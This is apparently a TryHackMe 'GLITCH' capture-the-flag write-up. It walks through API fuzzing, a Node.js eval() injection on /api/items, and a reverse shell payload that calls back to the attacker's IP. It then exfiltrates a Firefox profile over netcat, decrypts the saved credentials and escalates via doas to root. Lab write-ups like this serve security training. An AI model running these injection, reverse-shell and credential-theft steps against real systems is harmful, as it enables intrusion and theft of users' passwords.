GLITCH - Write-up - TryHackMe

Information

Room#

  • Name: GLITCH
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?

GLITCH

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap ffuf dumpzilla firefox-decrypt

Network enumeration#

Port and service scan with nmap gave nothing crazy. It's clear we must focus on the web app.

Arbitrary local domain name:

1
2
$ grep glitch /etc/hosts
10.10.124.106 glitch.thm

Web reconnaissance#

The title of the home page is <title>not allowed</title> while the http request contains the following cookie header: Cookie: token=value.

The following script in the body of the page seems not to be called.

1
2
3
4
5
6
7
8
9
<script>
function getAccess() {
fetch('/api/access')
.then((response) => response.json())
.then((response) => {
console.log(response);
});
}
</script>

Web exploitation#

Let's call the API to try to get an access token.

1
2
$ curl http://glitch.thm/api/access
{"token":"dGhpc19pc19ub3RfcmVhbA=="}

By curiosity, let's check the base64 decoded value.

1
2
$ printf %s 'dGhpc19pc19ub3RfcmVhbA==' | base64 -d
this_is_not_real

We can use this token to access the home page.

There is a script http://glitch.thm/js/script.js calling the API endpoint /api/items.

Web enumeration#

Let's see if we can find more API endpoints.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -u http://glitch.thm/api/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -H 'Cookie: token=this_is_not_real'

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.1-dev
________________________________________________

:: Method : GET
:: URL : http://glitch.thm/api/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
:: Header : Cookie: token=this_is_not_real
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________

access [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 25ms]
items [Status: 200, Size: 169, Words: 1, Lines: 1, Duration: 26ms]
:: Progress: [56293/56293] :: Job [1/1] :: 1572 req/sec :: Duration: [0:00:40] :: Errors: 0 ::

Nothing new, so I check the root of the app.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ffuf -u http://glitch.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -H 'Cookie: token=this_is_not_real'

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.1-dev
________________________________________________

:: Method : GET
:: URL : http://glitch.thm/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Header : Cookie: token=this_is_not_real
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________

js [Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 36ms]
img [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 25ms]
secret [Status: 200, Size: 462, Words: 116, Lines: 23, Duration: 89ms]
[Status: 200, Size: 1763, Words: 425, Lines: 63, Duration: 25ms]
:: Progress: [26584/26584] :: Job [1/1] :: 1509 req/sec :: Duration: [0:00:18] :: Errors: 2 ::

The /secret page was not accessible unauthenticated but it's a rabbit hole.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ curl http://glitch.thm/secret -H 'Cookie: token=this_is_not_real'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>nothing.</title>

<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
height: 100vh;
width: 100%;
background: url('img/rabbit.png') repeat;
}
</style>
</head>
<body></body>
</html>

As this challenge seems guessy and unrealistic I decided to check the hint.

What other methods does the API accept?

Using POST method on the items API endpoint we get a message.

1
2
$ curl http://glitch.thm/api/items -H 'Cookie: token=this_is_not_real' -X POST
{"message":"there_is_a_glitch_in_the_matrix"}

Ok so we are on the right track.

Maybe there are parameters to it. To find them we can continue fuzzing with ffuf (check my ffuf THM room about that).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ffuf -u 'http://glitch.thm/api/items?FUZZ=noraj' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -b 'token=this_is_not_real' -X POST -mc all -fc 400
...
________________________________________________

:: Method : POST
:: URL : http://glitch.thm/api/items?FUZZ=noraj
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
:: Header : Cookie: token=this_is_not_real
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 400
________________________________________________

cmd [Status: 500, Size: 1082, Words: 55, Lines: 11, Duration: 28ms]
:: Progress: [56293/56293] :: Job [1/1] :: 1551 req/sec :: Duration: [0:00:40] :: Errors: 0 ::

Web exploitation 2#

With a system command the app crashes because the command is sent to an eval() so it will executed nodeJS code instead.

1
2
3
4
5
6
7
8
9
10
11
$ curl 'http://glitch.thm/api/items?cmd=id' -H 'Cookie: token=this_is_not_real' -X POST
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: id is not defined<br> &nbsp; &nbsp;at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1)<br> &nbsp; &nbsp;at router.post (/var/web/routes/api.js:25:60)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /var/web/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>
</body>
</html>

He is a quick script we can use to list files and read one in NodeJS (synchronously).

1
2
3
4
5
6
7
8
9
10
// List files
const fs = require('fs');
fs.readdirSync('.').forEach(file => {
console.log(file);
});

// Read file
const fs = require('fs');
const data = fs.readFileSync('user.txt', 'utf8');
console.log(data);

But it will be easier to spawn a reverse shell directly.

1
2
3
4
5
6
7
8
9
10
11
12
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", []);
var client = new net.Socket();
client.connect(9999, "10.9.19.77", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();

Let's one-line it.

1
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(9999, "10.9.19.77", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();

The full HTTP request will look like this:

1
2
3
4
5
6
7
8
9
10
11
POST /api/items?cmd=(function()%7b%20var%20net%20%3d%20require(%22net%22)%2c%20cp%20%3d%20require(%22child_process%22)%2c%20sh%20%3d%20cp.spawn(%22%2fbin%2fbash%22%2c%20%5b%5d)%3b%20var%20client%20%3d%20new%20net.Socket()%3b%20client.connect(9999%2c%20%2210.9.19.77%22%2c%20function()%7b%20client.pipe(sh.stdin)%3b%20sh.stdout.pipe(client)%3b%20sh.stderr.pipe(client)%3b%20%7d)%3b%20return%20%2fa%2f%3b%20%7d)()%3b HTTP/1.1
Host: glitch.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=this_is_not_real
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

The HTTP answer always contain vulnerability_exploited when the code is executed without error and then we can see the /a/ return value.

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 22 Jan 2022 21:51:01 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"1b-lqv7vugOOXrs0UkVWHKxGtfYvZk"
Content-Length: 27

vulnerability_exploited /a/

System enumeration#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ncat -nlvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.227.181.
Ncat: Connection from 10.10.227.181:40986.

id
uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)

pwd
/var/web

ls -lhA /home/user
total 40K
lrwxrwxrwx 1 root root 9 Jan 21 2021 .bash_history -> /dev/null
-rw-r--r-- 1 user user 3.7K Apr 4 2018 .bashrc
drwx------ 2 user user 4.0K Jan 4 2021 .cache
drwxrwxrwx 4 user user 4.0K Jan 27 2021 .firefox
drwx------ 3 user user 4.0K Jan 4 2021 .gnupg
drwxr-xr-x 270 user user 12K Jan 4 2021 .npm
drwxrwxr-x 5 user user 4.0K Jan 22 18:43 .pm2
drwx------ 2 user user 4.0K Jan 21 2021 .ssh
-rw-rw-r-- 1 user user 22 Jan 4 2021 user.txt

cat /home/user/user.txt
THM{EDITED}

EoP (Elevation of Privilege): user to v0id#

The hint says:

My friend says that sudo is bloat.

sudo -l is requiring a password and we don't have it. As the hint suggests that sudo is too heavy maybe this machine is using an alternative.

Here the EoP scenario exploits doas which is a lightweight alternative to sudo.

1
2
3
4
5
which doas
/usr/local/bin/doas

cat /usr/local/etc/doas.conf
permit v0id as root

Only v0id can run commands as root with doas, so let's EoP to v0id first.

We saw in the previous step there was a ~/.firefox directory for our current user.

1
2
3
4
5
ls -lhA /home/user/.firefox
total 12K
drwxrwxrwx 11 user user 4.0K Jan 27 2021 b5w4643p.default-release
drwxrwxrwx 3 user user 4.0K Jan 27 2021 'Crash Reports'
-rwxrwxr-x 1 user user 259 Jan 27 2021 profiles.ini

Netcat is available so we can use it to download the directory:

1
2
which nc
/bin/nc

On our machine:

1
2
$ mkdir ff-profile && cd ff-profile
$ ncat -nlvp 7777 | tar xf -

On the target machine:

1
2
3
cd /home/user/.firefox

tar cf - . | nc 10.9.19.77 7777

Now we can analyse this Firefox profile.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ dumpzilla ff-profile/b5w4643p.default-release --All

Execution time: 2022-01-26 22:47:49.922231
Mozilla Profile: ff-profile/b5w4643p.default-release



====================================================================================================
Cookies [SHA256 hash: 20d942903d690f54af3e8aff1e2ca45084d49dbc8940b184e89eacd88c9d8525]
====================================================================================================


Traceback (most recent call last):
File "/usr/bin/dumpzilla", line 1145, in <module>
All_execute(varDir)
File "/usr/bin/dumpzilla", line 204, in All_execute
show_cookies_firefox(varDir,varDom = 0)
File "/usr/bin/dumpzilla", line 238, in show_cookies_firefox
cursor.execute("select baseDomain, name, value, host, path, datetime(expiry, 'unixepoch', 'localtime'), datetime(lastAccessed/1000000,'unixepoch','localtime') as last ,datetime(creationTime/1000000,'unixepoch','localtime') as creat,
isSecure, isHttpOnly FROM moz_cookies where baseDomain like ? escape '\\' and name like ? escape '\\' and host like ? escape '\\' and last like ? and creat like ? and isSecure like ? and isHttpOnly like ? and last between ? and ? and c
reat between ? and ?",[varDomain,varName,varHost,('%'+varLastacess+'%'),('%'+varCreate+'%'),varSecure,varHttp, varRangeLast1, varRangeLast2, varRangeCreate1,varRangeCreate2])
sqlite3.OperationalError: no such column: baseDomain

But dumpzilla crashs, the last version is from 2013 and doesn't seems to support newer Firefox profile versions. As we are interested in passwords only, let's use firefox-decrypt instead.

1
2
3
4
5
6
7
8
9
$ firefox-decrypt ff-profile/
Select the Mozilla profile you wish to decrypt
1 -> hknqkrn7.default
2 -> b5w4643p.default-release
2

Website: https://glitch.thm
Username: 'v0id'
Password: 'EDITED'

Let's use switch to v0id and run a command as root.

1
2
3
4
5
6
7
8
user@ubuntu:/var/web$ su v0id
Password: love_the_void

v0id@ubuntu:/var/web$ doas -u root /bin/bash
Password: love_the_void

root@ubuntu:~# cat /root/root.txt
THM{EDITED}
Share